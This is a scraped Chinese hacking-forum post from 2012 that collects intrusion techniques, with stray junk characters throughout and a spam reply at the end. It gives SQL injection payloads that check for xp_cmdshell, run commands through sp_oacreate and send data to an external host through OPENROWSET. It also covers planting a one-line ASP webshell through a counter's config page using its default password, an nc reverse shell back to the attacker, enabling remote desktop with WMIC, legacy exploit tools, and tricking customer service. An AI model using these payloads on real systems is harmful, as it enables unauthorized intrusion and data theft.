找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3806|回复: 1
打印 上一主题 下一主题

站库分离的方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:41:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
SA点数据库分离技术相关+ h! @# X4 [+ W; e

8 c2 O" o3 M5 C& e* o- Z+ H8 H4 Y1 z. u3 }/ a! Y
SA点数据库分离搞法+语句:
- W* r- X* D$ K' t* F' a0 X
+ s$ ?9 [( a* R5 w注射点不显错,执行下面三条语句页面都返回正常。
6 i9 T7 n2 ^. F+ I* g& Y) b# jand 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread'); [$ I& M3 e5 j1 [0 F' f
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')% P$ }! g3 l" p! F" U- o8 `: U% J8 |
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
/ X6 Q5 C& y$ G: {7 x0 `( @可以列目录,判断系统为2000,web与数据库分离
, W- D) |1 r2 c5 g; m遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。) m& |. s- j/ @2 T; t; z
在注射点上执行$ V, w1 k5 q2 ^, p
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--
# I; J4 ^+ P+ k7 B% k; R( U页面返回正常,通过上面这个命令执行telnet我一个外网肉鸡得1433端口,然后netstat/an没有得到IP
& y0 |+ k9 W; i* {还有我用NC监听得其他端口都没有得到IP。+ b: t: c! `2 f5 e2 U
5 P: a8 e1 |; k6 v' R# B' y
通过注射点执行下面这两个命令页面都返回异常,在肉鸡上面同样也是没有得到IP。) O4 L6 W" c  P8 [+ F* K
'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--
& o0 O. H9 W' u/ K6 a7 J
1 R+ C# G$ D; l& D, m% @; l6 I;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--7 u/ H% \6 ?! ]( L6 b1 j
8 Z1 X+ G+ k, E2 A3 s* p3 g
现在就猜想是不是数据库是内网而且不能连外网。0 g+ m8 _3 [4 w# z4 p0 Z+ @

* J/ x* }$ N1 y' O  p
6 e, N, _" T# T0 k& Paccess导出txt文本代码
3 }# q3 t& c/ w6 _) GSELECT * into [test.txt] in 'd:\web\' 'text;' from admin. D3 O) o$ L4 H) {8 o9 y- h

0 f2 B7 l  y- B7 ^' u& ~8 E. ?7 O! U; |9 B' d1 U5 S1 L

6 t$ m3 u+ ^8 d) m自动跳转到指定网站代码头
8 W" f3 X1 u/ M. w<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>! ?8 e8 x) e! e; r+ j: j
4 K) i$ R) K% [. K, f2 T

" g0 B( Q6 n$ v9 g3 a入侵java or jsp站点时默认配置文件路径:9 R4 @: ~) w+ D6 J% ?9 o/ y
\web-inf\web.xml# g; v5 A) K3 `* o3 y4 ~% g" U0 {
tomcat下的配置文件位置:, j/ B  m" X% c, c! k6 G/ y
\conf\server.xml            (前面加上tomcat路径)/ Z1 J: Y- l3 X+ e# t& ?7 K
\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
8 _+ n6 J. {; t8 F  t" I/ i) C* G0 \3 n6 q" f

; U" t) Z9 f! B) m4 O: v9 q4 s3 V( X- o
检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:3 {  V7 v* p/ f6 d; C! B
-1%23
3 |5 u: O2 q3 H9 C% A) Q>
4 a. x" U; ?# m: `2 V<
5 Y- Q! N1 X9 E! x1 ~+ j+ l1'+or+'1'='14 N4 v5 \* G  O, b. r
id=8%bf4 _" `4 [! y6 V+ `

  i: c1 \" Y+ m/ m3 R5 @全新注入点检测试法:
- S* |- d# Q9 H, e$ M3 Z在URL地址后面加上-1,URL变成:http://gzkb.goomoo.cn/news.asp?id=123-1,如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞,是数字型的。
* y; U" F3 p# l, D4 F. s
9 R6 x" }6 ^; d3 R! c' j  u5 Y* n在URL的地址后面加上'%2B',URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2B',返回的页面和1同;加上'2%2B'asdf,URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf,返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。+ Q) R, I$ T+ ^# O2 H( d. Q" b
, W3 r. u+ N& D3 e+ Z9 r
搜索型注入判断方法:7 ^6 ?: b5 y4 n0 ]. B6 X
北京%' and '1'='1' and '%'='
$ c* |* e0 i+ u8 I北京%' and '1'='2' and '%'='- l4 w3 D' e- y% ^

8 b" o+ T- u3 I8 r1 V/ g
; Y, G* B4 {5 `5 ]7 \0 HCOOKIES注入:
* J, q  d$ s9 K. G2 u. o4 r' z
: Y0 x) u/ `4 v- ^8 m9 bjavascript:alert(document.cookie="id="+escape("51 and 1=1"));
' A4 U. u* p0 Y) ]- r4 }
4 e2 r* y# u1 F, Q1 f2000专业版查看本地登录用户命令:, B5 A# R' v. x. }
net config workstation; W- a/ B, n, \0 s9 y6 [
' D( b, K" ]  ?. }, X3 w8 X

! H& h- N' Z- d. t# Q) k2003下查看ipsec配置和默认防火墙配置命令:  c7 t+ Q' ?8 A$ S0 S
netsh firewall show config
7 b) V' ~, @8 `$ D/ Y$ ^4 g0 unetsh ipsec static show all0 M7 ~6 p6 s% K% Y& K

: M9 P4 S' y. e9 y" R: I; }0 i5 W不指派指定策略命令:
) {  K0 Y9 Z) h/ J( vnetsh ipsec static set policy name=test assign=n  (test是不指派的策略名)
) O8 K+ q+ q7 v, z9 `/ z# tnetsh ipsec static show policy all  显示策略名
- A: v: p, f7 ~3 G% T6 l. U8 [3 T* }- H2 x) w$ l' E

: m# c. p* s5 L/ A$ V- z猜管理员后台小技巧:9 x* F9 {5 K3 Y! ~6 f) |
admin/left.asp : v" F6 A7 B$ a$ i
admin/main.asp
  T! k! y* v* N  @* A1 R: C) Fadmin/top.asp9 X1 W1 |3 T9 o) ^% X- X; t
admin/admin.asp 0 ?/ u4 V1 C" k6 b" L& N# V' q
会现出菜单导航,然后迅雷下载全部链接5 e  J! C0 w. j, J' d4 j. ^4 M- C

$ S+ C8 W" l) r" p
6 g. S* j5 y" q, u社会工程学:  l4 I2 E$ c8 o1 N! l
用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人
  ^9 c0 B: W) M5 R, G7 [然后去骗客服& ]0 N7 e. A2 Y- {3 \" d
$ m0 v0 A+ O8 m' @

" f! h) T0 _$ I: B统计系统使用的是IT学习者的统计系统,在网上下载了一套回来研究。这样的系统拿webshell一般就二种:1.数据库插一句话木马,客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录,发现数据库扩展名是asp的,默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb,用明小子的数据库工具打开,发现有防下载的表。管理员的默认密码是:ITlearner。数据库插一句话木马这条路是走不通了,现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码:
3 |% \7 Y  b8 f2 m查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">, 8 T! H7 \* Q, v  i: {
  存为html文件打开后在最后详细来访信息记录多少条记录,默认为100条框输入100:eval request(chr(35)),点击保存。提示无法找到,结果发现。; l$ M- W0 Y7 k5 @1 t3 B2 t# \
4 w- i2 o  u9 I7 Y
6 q6 w, m8 t6 a" h& \0 E( S0 I* @

3 L) d% O: F' h! R! }7 J- s6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查); }4 W, v& f. F- w

5 o/ r- m& D4 g
& r+ h+ |. a5 }9 B
8 k* X3 F( x# }  H" U  U+ NCMD加密注册表位置/ X+ L2 l7 n7 @) |! o
(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor
7 O2 p2 x# |3 p! m3 iAutoRun
9 f5 z2 J: Y! E" z# |; r$ o. O. y' v+ G9 _4 j9 q( F
(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor
: ?4 H) t; v1 C% h5 F; f0 SAutoRun
- {# I1 }; s0 g. g$ {$ v4 [  K5 k4 T/ g( b: ~1 j+ L5 Z
7 a3 W7 [6 E6 A1 J" w
在找注入时搜索Hidden,把他改成test
+ }1 C$ ]! W" ^* X' Z, `: x
! Q3 s- K* c  D4 T- v
& |( m% O& ]+ `3 U1 h9 {9 w
# Y! T; M9 C6 p, V  ~+ Hmstsc /v:IP /console
5 x7 e' ^$ J0 {5 l4 v& n5 ], b, m0 r+ B

( S, u. c' I5 D/ h, t5 v" p一句话开3389:
1 s# n6 U. U) C; g' S& L! N# n+ g& f2 E* i% B  g* N
最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>  
8 H2 \, c" z7 O9 W3 \8 l$ e  c开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1          就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.
1 b" {" t& W2 x' [# E2 e: U) B3 Q8 |0 x, ]2 a

6 ~8 T0 X4 y5 P% @) m知道表名,字段,使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:/ D/ H- Q  Y. {
Insert into admin(user,pwd) values('test','test')  G- Q. H0 G+ T5 B5 x7 O# l1 M" [

- F, t5 f# {7 y
+ G3 _/ J& w# f/ dNC反弹& k" t, s5 @5 q, c$ E) h' J
先在本机执行:     nc -vv -lp 监听的端口     (自己执行)   
" M9 N$ Z3 h0 h7 H, s5 ~$ U3 p然后在服务器上执行:  nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)
. j- ~0 t6 O3 r& f- w/ ^
1 e6 x) B/ J: ~0 R7 R
& ~" j) [) L% ~2 A4 n. C在脚本入侵过程中要经常常试用%00来确认下参数是否有问题1 Y4 ~+ b, s+ T6 A8 l' h# B

/ H. ?# r( F2 b7 M/ Y$ g有时候我们入侵的时候,在webshell没有办法列举网站的目录包括dir也不行的时候,这个时候可以尝试用DOS命令SUBST转移目录
& O; x5 o+ {2 z$ x, ~1 j0 ?例如:
3 Z/ P) z' t+ c& C$ Q/ Msubst k: d:\www\ 用d盘www目录替代k盘  ^+ ?7 x5 ~) N! {2 |
subst k: /d  解除K盘代替
回复

使用道具 举报

沙发
匿名  发表于 2017-12-20 02:36:51
We are a group of volunteers and starting a new scheme in our community.
Your web site offered us with valuable information to work on. You've done a formidable job and our entire community will
be grateful to you.
Website: Antispur Duo Forte proprieta
回复 支持 反对

使用道具

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表